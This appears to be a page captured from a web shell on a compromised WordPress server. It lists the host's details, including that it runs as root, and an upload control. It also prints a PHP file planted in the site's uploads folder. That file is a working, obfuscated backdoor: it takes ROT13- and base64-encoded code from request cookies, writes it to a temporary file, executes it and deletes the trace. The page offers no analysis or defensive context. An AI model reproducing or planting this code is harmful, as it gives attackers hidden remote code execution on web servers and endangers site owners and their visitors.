HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux wordpress-ubuntu-s-2vcpu-4gb-fra1-01 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/shoetique/wp-content/uploads/2020/12/sched.to.php
<?php

if (isset($_COOKIE[-7+7]) && isset($_COOKIE[-58+59]) && isset($_COOKIE[44-41]) && isset($_COOKIE[10-6])) {
    $placeholder = $_COOKIE;
    function post($slot) {
        $placeholder = $_COOKIE;
        $stor = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '8a101326');
        if (!is_writable($stor)) {
            $stor = getcwd() . DIRECTORY_SEPARATOR . "center";
        }
        $attr = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($placeholder[3]));
        if (is_writeable($stor)) {
            $property = fopen($stor, 'w+');
            fputs($property, $attr);
            fclose($property);
            spl_autoload_unregister(__FUNCTION__);
            require_once($stor);
            @array_map('unlink', array($stor));
        }
    }
    spl_autoload_register("post");
    $fld = "ef3e0c312502c8a97fb007bf930a363a";
    if (!strncmp($fld, $placeholder[4], 32)) {
        if (@class_parents("sys_oauthexceptions", true)) {
            exit;
        }
    }
}